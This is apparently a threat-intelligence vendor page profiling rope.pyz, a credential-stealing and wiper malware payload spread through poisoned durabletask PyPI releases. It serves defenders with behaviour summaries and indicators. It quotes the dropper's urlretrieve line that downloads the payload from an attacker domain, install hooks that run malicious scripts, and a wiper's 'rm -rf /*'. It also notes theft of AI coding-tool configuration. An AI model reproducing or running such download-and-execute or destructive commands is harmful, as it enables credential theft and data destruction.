Loading malware…
rope.pyz is a Python zipapp second-stage malware payload used in the May 2026 compromise of Microsoft’s durabletask PyPI package (versions 1.4.1, 1.4.2, and 1.4.3) and linked in reporting to the broader Mini Shai-Hulud/Miasma activity cluster associated with TeamPCP. It is described as a modular cloud intrusion framework and a direct evolution of the earlier transformers.pyz payload used in the guardrails-ai compromise. The durabletask import-time dropper on Linux downloaded rope.pyz from check.git-service[.]com, wrote it to /tmp/managed.pyz, and launched it as a detached python3 process with output suppressed. Reported hashes and artifacts include SHA-256 069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce for rope.pyz, runtime paths /tmp/managed.pyz and /tmp/rope-*.pyz, and infection markers ~/.cache/.sys-update-check and ~/.cache/.sys-update-check-k8s.
The payload targets Linux systems and includes anti-analysis checks that exit on non-Linux hosts, Russian locale settings, or low-CPU environments. It steals credentials and secrets from AWS, Azure, GCP, Kubernetes, HashiCorp Vault, local filesystems, shell history, environment variables, Docker environments, and password managers including Bitwarden, 1Password, pass, gopass, and GPG-based stores. It also targets developer and AI tooling configuration in some reporting, including Claude, Cursor, VS Code, Codeium, Zed, Continue, and MCP-related artifacts. Cloud-focused collection includes AWS IAM credentials, Secrets Manager and SSM Parameter Store data across 19 regions, Azure service principal and managed identity credentials plus Key Vault secrets, GCP service account and Secret Manager data, Kubernetes kubeconfig and in-cluster service account tokens, and Vault KV secrets.
Exfiltration is performed over encrypted HTTPS POST requests to attacker-controlled infrastructure, primarily check.git-service[.]com including /api/public/version, with fallback mechanisms that include GitHub commit-search dead-drop discovery using the FIRESCALE keyword and, if stolen GitHub tokens are available, creation of public GitHub repositories to upload encrypted results. Some reports also cite t.m-kosche[.]com as backup infrastructure and 83.142.209.194 as legacy campaign infrastructure. Stolen data is described as compressed and encrypted with AES-256-GCM and wrapped with RSA-OAEP using a hardcoded RSA public key.
rope.pyz also supports propagation and persistence. Reported lateral movement includes AWS SSM SendCommand propagation to managed instances and Kubernetes propagation via kubectl exec to up to five pods or targets per infected host. Persistence has been reported via a fake systemd service named pgsql-monitor.service. The malware can deploy a destructive wiper component in some regions: reporting states a module named roulette.py may, under certain conditions and on hosts fingerprinted as Israeli or Iranian, play audio from /audio.mp3 and execute rm -rf /* or filesystem wipe behavior. Overall, rope.pyz is characterized in the source material as a Linux-focused, multi-cloud credential theft, exfiltration, propagation, and selective destructive malware framework aimed at cloud workloads, CI/CD runners, Kubernetes environments, and developer infrastructure.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
The Linux import-time dropper initially injected into __init__.py , and later versions expanded into additional modules, downloading and executing rope.pyz / /tmp/managed.pyz .
29 distinct techniques documented for this family, organized by ATT&CK tactic.
A variant of the infamous Shai-Hulud worm wreaked havoc on Microsoft's code repositories, triggering disruptions to CI/CD workflows and heightening concerns about increasing software supply chain threats.
Three poisoned versions of Microsoft's official durabletask Python SDK were published to PyPI on May 19.
TeamPCP's self-replicating malware campaign, known as Mini Shai-Hulud, continues to expand in reach with the compromise of durabletask, an official Microsoft Python client... Three malicious package versions have been identified: 1.4.1, 1.4.2, and 1.4.3.
prepare: bun run tanstack_runner.js && exit 1 ... preinstall: bun run index.js ... downloading and executing rope.pyz / /tmp/managed.pyz .
The payload domain The second-stage payload is fetched from check.git-service.com. The domain is built to look like routine git tooling traffic in network logs. The file lands at /tmp/managed.pyz with a filename that does not stand out in a directory listing.
Two details in the implementation make this hard to catch at runtime. start_new_session=True detaches the spawned process from its parent. The payload keeps running even after the Python process that triggered the import exits. except: pass catches everything without re-raising.
The payload attempts brute-force unlock using harvested passwords from environment variables and shell history.
Anyone who pulled an affected repo and opened it in one of the affected environments had credentials harvested instantly, and the stolen tokens are what push the next commit and republish the next package.
On AWS, propagation assumes credentials available from the environment or the EC2 instance metadata role.
The payload includes a module called roulette.py, a wiper that runs only on hosts that fingerprint as Israeli or Iranian (timezone/localtime/LANG/locale checks for those regions)
If it's inside Kubernetes, it propagates through kubectl exec... After enumerating SSM-managed instances, it uses SendCommand with the AWS-RunShellScript document to execute the rope.pyz payload on up to 5 other EC2 instances per profile.
the propagation script downloads the payload from the primary C2, falling back to the secondary domain t.m-kosche[.]com... Also notable is the use of the FIRESCALE mechanism to identify a backup command-and-control (C2) address in the event the primary domain is unreachable.
StepSecurity recommended ... restricting outbound network access from CI/CD runners to block traffic to command-and-control (C2) domains, among other steps.
urllib.request.urlretrieve("https://check.git-service.com/rope.pyz", "/tmp/managed.pyz")
If that primary POST fails... the malware falls back to a public dead drop on GitHub. It queries the commit search API with q=FIRESCALE... The first commit message that passes verification becomes the new mothership URL, and the malware retries the identical encrypted POST against that host.
May 19 payload connected to the TeamPCP threat group via the secondary C2 domain t.m-kosche[.]com ... Check network logs for connections to check.git-service[.]com and t.m-kosche[.]com .
Collected credentials are sent to attacker-controlled infrastructure... Primary exfiltration... sends a small JSON body... in a single POST... Backup mothership from GitHub commits... GitHub repository fallback... it creates a new public repository... uploads a file named results.json containing the same RSA-wrapped, AES-encrypted package
16 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
12 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
A modular cloud intrusion framework embedded in poisoned Python packages that steals secrets and credentials and can deploy a destructive wiper in some regions.
A Python credential-harvesting payload used in the May 19 PyPI attack against durabletask. It stole secrets from developer and cloud environments and required C2 connectivity to check.git-service[.]com.
A Python payload downloaded and executed by poisoned durabletask packages, part of the evolving Shai-Hulud toolchain with cloud command execution and lateral movement features.
A Linux-targeting multi-cloud credential-stealing worm embedded in poisoned durabletask releases. It injects itself into multiple package entry points, steals AWS, Azure, GCP, Kubernetes, Vault, password manager, and shell-history secrets, and propagates laterally via AWS SSM and Kubernetes to additional hosts.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.